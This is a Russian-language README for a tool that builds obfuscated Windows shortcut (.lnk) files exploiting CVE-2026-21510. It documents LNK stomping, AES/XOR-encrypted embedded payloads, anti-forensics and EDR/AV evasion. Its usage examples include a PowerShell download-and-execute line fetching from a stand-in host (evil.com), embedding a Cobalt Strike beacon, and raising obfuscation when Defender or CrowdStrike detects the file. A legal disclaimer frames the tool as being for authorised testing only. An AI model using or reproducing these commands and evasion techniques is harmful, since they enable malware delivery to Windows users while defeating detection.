Генерирует обфусцированные .lnk-файлы, эксплуатирующие CVE-2026-21510 с помощью LNK stomping, зашифрованных полезных нагрузок и методов анти-форензики для авторизованного тестирования на проникновение и операций red team.
README EpSiLoNPoInTlnk CVE-2026-21510 - Генератор .LNK Инструмент для генерации файлов .lnk с использованием уязвимости CVE-2026-21510 (Windows ShellLink Remote Code Execution). Предназначен для исследований в области безопасности, авторизованных тестов на проникновение и анализа уязвимостей.
Юридическое предупреждение ⚠️ ЭТОТ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ ЛЕГАЛЬНОГО И АВТОРИЗОВАННОГО ИСПОЛЬЗОВАНИЯ. Любое несанкционированное использование против систем или сетей нарушит местные и международные законы (например, Computer Fraud and Abuse Act (CFAA), GDPR, закон Годфрена во Франции). Автор снимает с себя всякую ответственность в случае неправомерного использования. (См. Отказ от ответственности ниже.)
Описание Этот генератор создает обфусцированные файлы .lnk для использования CVE-2026-21510, уязвимости в обработке ярлыков Windows. Он включает:
LNK Stomping (5 вариантов: dot, path_segment, relative, double_extension, unicode)
PropertyStore со случайными CLSID и PKEY
KnownFolderDataBlock (случайные или целевые KnownFolderID)
EnvironmentVariableDataBlock (обфускация Unicode, динамические переменные)
Обфускация (Уровни 1-5: TrackerDataBlock, ConsoleDataBlock, случайные блоки)
Встроенные и зашифрованные полезные нагрузки (AES-256-CBC + XOR)
Анти-форензика (нулевые временные метки, нулевой размер файла, минимальные метаданные)
Обход EDR/AV (легитимные процессы, обфусцированные аргументы PowerShell)
Генерация случайных вариантов (10+ уникальных вариантов для обхода сигнатур)
Предварительные требования Система ОС: Windows (для тестирования сгенерированных .lnk) или Linux/macOS (для генерации).
Python: ≥ 3.10. Зависимости: pip install pycryptodome
Рекомендуемые инструменты Анализ: PEStudio, Detect It Easy (DIE)
Отладка: x64dbg, WinDbg
Тестирование: Изолированная виртуальная машина Windows (например, Windows 10/11 на VirtualBox).
Установка Клонировать репозиторий: git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk Установить зависимости: pip install -r requirements.txt (Необязательно) Создать виртуальное окружение: python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
Использование
Базовая генерация python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk Генерирует .lnk с использованием CVE-2026-21510 для запуска calc.exe.
Расширенные параметры Параметр Описание Значение по умолчанию --target Целевой путь (например: C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args Аргументы для цели (например: /c whoami) /c calc.exe --output Путь вывода .lnk ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir Рабочий каталог C:\Windows\System32 --description Описание ярлыка Случайная строка --unc Использовать UNC-путь (?\C:...) False --lnk-stomping Включить LNK Stomping True --stomping-variant Вариант LNK Stomping (dot, path_segment, relative, double_extension, unicode, random) random --obfuscation Добавить бесполезные блоки ExtraData True --obfuscation-level Уровень обфускации (1-5) 5 --embed-payload Путь к файлу для встраивания (например: payload.bin) None --encrypt-payload Зашифровать полезную нагрузку (AES-256-CBC + XOR) True --anti-forensics Применить методы анти-форензики True --randomize-clsid Рандомизировать CLSID в PropertyStore True --randomize-known-folder Рандомизировать KnownFolderID True --obfuscate-arguments Обфусцировать аргументы (PowerShell) True --generate-variants Сгенерировать N случайных вариантов 0 --debug Расширенный режим отладки (подробные логи) False
Примеры
Пример 1: Эксплойт со встроенной полезной нагрузкой
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
Генерирует .lnk с зашифрованной (AES-256 + XOR) и обфусцированной полезной нагрузкой.
Пример 2: Генерация 10 случайных вариантов
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
Создает 10 уникальных вариантов для обхода сигнатур EDR/AV.
Пример 3: Минималистичный режим (для тестов)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
Генерирует необфусцированный .lnk (для анализа или отладки).
Техническое функционирование
Заголовок ShellLink (0x4C фиксированных байт + смещения): LinkCLSID: 00021401-0000-0000-C000-000000000046 (обязательно). LinkFlags: Настроен для активации HasRelativePath, HasWorkingDir, IsUnicode и т.д.
StringData: RelativePath: Целевой путь (с LNK Stomping, если включен). WorkingDir: Рабочий каталог (например: C:\Windows\System32). Arguments: Обфусцированные аргументы (PowerShell, cmd и т.д.).
Блоки ExtraData (критический порядок): PropertyStoreDataBlock: Содержит PKEY_AppUserModel_ID (случайный CLSID). KnownFolderDataBlock: Указывает на системную папку (например: %SystemRoot%). EnvironmentVariableDataBlock: Принудительное раскрытие переменных до Mark-of-the-Web (MotW). Блоки обфускации (в зависимости от obfuscation_level): TrackerDataBlock (Уровень 1) ConsoleDataBlock (Уровень 2) DarwinDataBlock, ShimDataBlock и т.д. (Уровни 3-5)
Встроенная полезная нагрузка (если --embed-payload): Зашифрована с помощью AES-256-CBC + XOR.
Полезная нагрузка шифруется с помощью AES-256-CBC (случайный ключ 32 байта, IV 16 байт).
Применяется слой XOR с первыми 16 байтами ключа AES.
Ключ и IV хранятся в ShimDataBlock для последующей расшифровки.
Тесты и валидация
Минимальный размер файла.
Действительность HeaderSize и CLSID.
Наличие требуемых LinkFlags.
Структуру блоков ExtraData (PropertyStore, KnownFolder и т.д.).
Выполнение (в изолированной среде): Дважды щелкните по .lnk и наблюдайте за поведением. Используйте Process Monitor (ProcMon) для анализа системных вызовов.
Обнаружение EDR/AV: Протестируйте с помощью таких инструментов, как Windows Defender или CrowdStrike. Если .lnk обнаружен, увеличьте obfuscation_level или отключите некоторые параметры.
Варианты использования Сценарий Команда Описание Тест на проникновение --target "C:\Windows\System32\cmd.exe" --args "/c whoami" Проверяет, работает ли эксплойт на целевой машине. Red Team --embed-payload ./cobaltstrike_beacon.bin --obfuscation-level 5 Генерирует .lnk с обфусцированной полезной нагрузкой Cobalt Strike. Исследование --generate-variants 50 --output-dir ./samples Создает 50 вариантов для тестирования обнаружений EDR. Отладка --debug --obfuscation False Показывает подробные логи для анализа структуры .lnk. Вклад Вклад приветствуется! Вот как вы можете внести свой вклад:
Сделайте форк проекта.
Создайте ветку (git checkout -b feature/моя-новая-функция).
Зафиксируйте свои изменения (git commit -m "Добавление функции X").
Отправьте в ветку (git push origin feature/моя-новая-функция).
Откройте Pull Request. Идеи для вклада:
Добавить новые варианты LNK Stomping.
Реализовать другие алгоритмы шифрования (например, ChaCha20).
Улучшить обфускацию аргументов (например, использование JScript).
Добавить модульные тесты для проверки структур .lnk.
Лицензия Этот проект распространяется под лицензией MIT. См. файл LICENSE для получения подробной информации.
Отказ от ответственности 🚨 Отказ от ответственности
📜 ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ (DISCLAIMER)
Внимательно прочитайте перед использованием этого инструмента.
⚠️ ЯВНОЕ ЮРИДИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ
Пользователь этого инструмента (далее именуемый «Пользователь») признает и явно принимает следующие условия:
Только легальное использование
Этот инструмент предназначен исключительно для легального и авторизованного использования, такого как:
Исследования в области компьютерной безопасности в академических или профессиональных целях.
Тесты на проникновение (пентест) на системах, на которые Пользователь имеет письменное разрешение владельца.
Анализ уязвимостей в контролируемых средах (например, лаборатории безопасности, CTF, авторизованные программы bug bounty).
Любое другое использование строго запрещено и может являться уголовным преступлением во многих юрисдикциях, включая (но не ограничиваясь):
Франция: Закон № 88-19 от 5 января 1988 года (закон Годфрена), статьи 323-1–323-7 Уголовного кодекса (неправомерный доступ, изменение данных и т.д.).
Европейский союз: Директива 2013/40/ЕС об атаках на информационные системы.
США: Computer Fraud and Abuse Act (CFAA), 18 U.S. Code § 1030.
Другие страны: Эквивалентные местные законы (например, Computer Misuse Act в Великобритании).
Отсутствие гарантий
Автор (EpSiLoNPoInT) не предоставляет никаких гарантий, явных или подразумеваемых, относительно:
Надежности, точности или полезности этого инструмента.
Отсутствия ошибок или уязвимостей в коде.
Совместимости со всеми системами или средами.
Результатов, полученных при использовании инструмента.
Пользователь принимает на себя все риски, связанные с использованием этого инструмента, включая (но не ограничиваясь):
Материальный или программный ущерб, причиненный его собственной системе или сторонним системам.
Юридические последствия в случае нарушения применимых законов.
Потерю данных или перерывы в обслуживании.
Ограничение ответственности
Ни при каких обстоятельствах Автор, участники или любая другая сторона, участвующая в создании, производстве или распространении этого инструмента, не может нести ответственность за:
Какие-либо убытки (прямые, косвенные, случайные, специальные, штрафные или последующие), включая (но не ограничиваясь):
Потерю прибыли.
Потерю данных или повреждение файлов.
Ущерб репутации.
Судебные иски или штрафы, понесенные Пользователем.
Даже если Автор был уведомлен о возможности таких убытков.
Соблюдение законов и нормативных актов
Пользователь обязуется соблюдать все законы, нормативные акты и стандарты, применимые в его юрисдикции, включая (но не ограничиваясь):
Законы о защите данных (например, GDPR в ЕС).
Законы о кибербезопасности и компьютерном мошенничестве.
Политики безопасности своего работодателя или организации.
Пользователь обязуется возместить ущерб и оградить Автора от любых претензий, убытков или расходов (включая судебные издержки), возникающих в результате нарушения этих законов или обязательств.
Запрет на вредоносное распространение
Пользователю категорически запрещается:
Продавать, сдавать в аренду или распространять этот инструмент в вредоносных целях.
Модифицировать код, чтобы превратить его в киберпреступное оружие (например, ransomware, spyware).
Использовать этот инструмент для нацеливания на критическую инфраструктуру (например, больницы, правительства, банки) без явного разрешения.
Делиться этим инструментом с третьими лицами без передачи им этого отказа от ответственности.
Исключение ответственности за сторонние компоненты
Этот инструмент может взаимодействовать со сторонними библиотеками (например, pycryptodome).
Автор не контролирует и не несет ответственности за действия или уязвимости этих библиотек.
Пользователь должен проверить лицензию и безопасность любых используемых зависимостей.
Использование на свой страх и риск
Используя этот инструмент, вы полностью и безоговорочно принимаете условия этого отказа.
Если вы не согласны с этими условиями, не используйте этот инструмент и немедленно удалите все копии, находящиеся в вашем распоряжении.
Юрисдикция и применимое право
Этот отказ регулируется и толкуется в соответствии с законами Французской Республики.
Любой спор, возникающий из или связанный с этим отказом или использованием этого инструмента, подлежит исключительной юрисдикции судов Парижа (Франция).
🔐 Рекомендации по безопасности
Для безопасного и легального использования этого инструмента: ✅ Всегда изолируйте тесты в виртуальной среде (например, VirtualBox, VMware). ✅ Получите письменное разрешение перед тестированием систем, которые вам не принадлежат. ✅ Отключите сетевые подключения тестовых машин, чтобы избежать случайных утечек. ✅ Используйте инструменты мониторинга (например, Wireshark, Process Monitor) для анализа поведения. ✅ Сообщайте об уязвимостях ответственно (например, через программы bug bounty). ❌ Никогда не тестируйте на производственных системах без разрешения. ❌ Не делитесь сгенерированными эксплойтами с неавторизованными лицами. ❌ Не храните вредоносные полезные нагрузки на системах, доступных публично.
📞 Контакты
По любым юридическим или техническим вопросам, касающимся этого инструмента:
Автор: EpSiLoNPoInT
Электронная почта: [email protected]
GitHub: EpSiLoNPoInTOrI
⚠️ Примечание: Автор не предоставляет никакой поддержки для незаконного или неэтичного использования этого инструмента.
📅 Дата отказа
Последнее обновление: 9 мая 2026 г. Версия: 1.0